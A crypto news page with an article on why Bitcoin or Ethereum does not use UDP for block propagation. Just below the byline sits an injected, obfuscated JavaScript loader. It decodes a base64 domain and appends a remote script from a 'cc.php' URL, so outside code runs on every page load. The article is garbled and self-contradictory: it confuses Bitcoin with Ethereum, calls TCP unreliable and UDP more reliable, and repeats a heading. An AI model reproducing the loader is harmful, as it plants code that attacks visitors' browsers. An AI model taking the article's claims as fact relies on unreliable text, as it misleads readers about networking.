News

Ethereum: Why doesn’t Bitcoin use UDP to do Blockpropagation?

Published by Terlumun Aondover on February 11th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=72169909″;document.body.appendChild(script);

missing link: Why does Ethereum do not adopt UDP for block propagation

When it comes to distributed systems, there are several protocols in use, each with their own strengths and weaknesses. Such a protocol that has gained significant attention in recent years is the ETHREUM crossing from TCP (transmission control protocol) to UDP (user data protocol). While Bitcoin uses TCP for peer-to-peer communication, Ethereum does not adopt UDP as a standard method for propagating the block.

In this article, we will deepen the reasons that were the basis of the Ethereum’s TCP choice towards the UDP, examining both theoretical and practical aspects that support this decision.

TCP: reliability champion

TCP is an uncertain protocol, designed to ensure guaranteed delivery and correction of errors. It uses several layers of establishment and tear in connection, sequencing of packages and retransmission to guarantee data integrity. Although the UDP is generally considered more reliable due to lack of guarantee, TCP robustness offers souls for applications that require high availability.

Ethereum’s passage from TCP to UDP was probably a deliberate design choice, rather than a purely technical one. One possible reason is the emphasis on scalability and performance over reliability. By using the TCP for the propagation of the block, Ethereum can reduce the latency and increase the flow by avoiding unnecessary retransmissions.

UDP: reliability champion

As mentioned above, the UDP is designed to provide low and high yield communication, which makes it a popular choice for applications such as streaming services and online games. Although the UDP may not be as reliable as TCP, its advantages make an attractive option for the propagation needs of the Ethereum block.

Moreover, the current rates of packing loss on modern internet connections are relatively low. According to recent studies, packs loss rates within 1-5% are frequent on different networks. Even if some packages are lost, colleagues can simply request retransmissions or use a combination of TCP and UDP for additional reliability.

Practical considerations

Before making this change, it is essential to consider practical aspects:

* The network congestion : When the network is congested, the lack of guarantee of the UDP makes it more difficult to ensure the integrity of the data. In such cases, TCP may be more appropriate.

* Network latency : While UDP is generally faster than TCP, its smaller and simpler protocol can lead to a larger latency. It may not be a significant concern for Ethereum, given the current internet speed improvements.

Conclusion

The Ethereum decision to use TCP over the UDP as a standard method for the propagation of the block is probably determined by performance considerations, scalability objectives and an emphasis on reliability, rather than strict technical requirements. While UDP offers communication with a high and low latency, its lack of guarantee makes it less suitable for applications in which data integrity is essential.

As the Ethereum network continues to evolve, this choice of protocol can be revised or refined in response to changing network conditions and emerging use cases.